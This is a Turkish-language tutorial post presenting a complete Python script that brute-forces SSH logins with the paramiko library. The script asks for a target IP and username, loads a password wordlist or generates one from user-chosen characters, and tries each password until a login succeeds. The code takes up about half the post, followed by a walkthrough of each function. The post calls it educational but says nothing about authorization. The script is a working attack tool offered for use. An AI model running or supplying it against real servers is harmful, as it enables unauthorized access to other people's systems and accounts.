Gelişmiş Brute Force Scripti Örneği

Bu makalede, Python ile gelişmiş bir brute force scripti oluşturacağız. Script şu özelliklere sahip olacak:
- Kullanıcıdan bir parola wordlist’i girmesini isteyecek.
- Eğer wordlist mevcut değilse, kullanıcının verdiği karakterlere dayalı olarak bir wordlist oluşturacak.
- Paramiko kütüphanesini kullanarak SSH brute force denemeleri yapacak.
- Detaylı hata yönetimi ve loglama yapılacak.
Gereksinimler
Scripti çalıştırmak için aşağıdaki Python modüllerini kurmalısınız:
pip install paramiko
Kod ve Açıklamalar
import paramiko
import itertools
import os
from time import sleep
# SSH brute force için temel bağlantı fonksiyonu
def ssh_brute_force(host, username, password):
"""
SSH üzerinden parola denemesi yapar.
Args:
host (str): SSH sunucusunun IP adresi.
username (str): Kullanıcı adı.
password (str): Parola.
Returns:
bool: Bağlantı başarılıysa True, aksi halde False.
"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] Başarılı Giriş! Parola: {password}")
client.close()
return True
except paramiko.AuthenticationException:
print(f"[-] Hatalı Parola: {password}")
return False
except Exception as e:
print(f"[!] Hata: {e}")
return False
# Wordlist dosyasından şifreleri oku ve dene
def brute_force_with_wordlist(host, username, wordlist_path):
"""
Wordlist kullanarak SSH brute force yapar.
Args:
host (str): SSH sunucusunun IP adresi.
username (str): Kullanıcı adı.
wordlist_path (str): Parola wordlist dosyası.
"""
if not os.path.exists(wordlist_path):
print("[!] Wordlist dosyası bulunamadı!")
return
with open(wordlist_path, 'r') as file:
for line in file:
password = line.strip()
if ssh_brute_force(host, username, password):
print("[+] Parola bulundu!")
break
# Kullanıcıdan wordlist oluşturmak için bilgi al
def generate_wordlist_from_user(output_file):
"""
Kullanıcıdan karakter bilgisi alarak bir wordlist oluşturur.
Args:
output_file (str): Oluşan wordlist'in kaydedileceği dosya.
"""
chars = input("Kombinasyonlar için kullanılacak karakterleri girin: ")
min_length = int(input("Minimum parola uzunluğu: "))
max_length = int(input("Maksimum parola uzunluğu: "))
with open(output_file, 'w') as file:
for length in range(min_length, max_length + 1):
for combination in itertools.product(chars, repeat=length):
file.write(''.join(combination) + '\n')
print(f"[+] Wordlist '{output_file}' dosyasına kaydedildi.")
# Ana kontrol akışı
def main():
print("=== Gelişmiş Brute Force Scripti ===")
host = input("Hedef IP adresini girin: ")
username = input("SSH kullanıcı adını girin: ")
wordlist_choice = input("Mevcut bir wordlist kullanmak ister misiniz? (E/H): ").strip().lower()
if wordlist_choice == 'e':
wordlist_path = input("Wordlist dosyasının yolunu girin: ")
brute_force_with_wordlist(host, username, wordlist_path)
else:
output_file = input("Oluşacak wordlist'in kaydedileceği dosya adını girin: ")
generate_wordlist_from_user(output_file)
brute_force_with_wordlist(host, username, output_file)
if __name__ == "__main__":
main()
Kodun Açıklamaları
ssh_brute_force
Fonksiyonu
- Bu fonksiyon, verilen IP adresi, kullanıcı adı ve parola ile SSH bağlantısı kurmaya çalışr.
- Eğer bağlantı başarılı olursa, parolanın doğru olduğunu ekrana yazdırır.
- Parola yanlışsa bunu raporlar ve bir sonraki denemeye geçer.
brute_force_with_wordlist
Fonksiyonu
- Belirtilen wordlist dosyasındaki her bir parolayı sırayla dener.
- Doğru parola bulunduğunda işlem sona erer.
generate_wordlist_from_user
Fonksiyonu
- Kullanıcıdan karakter seti, minimum ve maksimum uzunluk bilgilerini alarak olası kombinasyonları üretir.
- Üretilen kombinasyonlar bir dosyaya kaydedilir.
main
Fonksiyonu
- Kullanıcıdan gerekli bilgileri toplar ve brute force işlemine başlar.
- Kullanıcıya mevcut bir wordlist kullanma veya yeni bir wordlist oluşturma seçeneği sunar.
Performans: Wordlist oluştururken kombinasyon sayısı çok büyük olabilir. Bu, disk alanı ve ışlem süresi bakımından sorun yaratabilir.
Bu script, hem eğitim için faydalı hem de Python ile ileri düzeyde siber güvenlik otomasyonu yapma yeteneğinizi geliştirmenize yardımcı olacaktır.
Tepkiniz ne oldu ?
Heyecanlı
0
Mutlu
0
Aşık
0
Emin değilim
0
Şapşal
0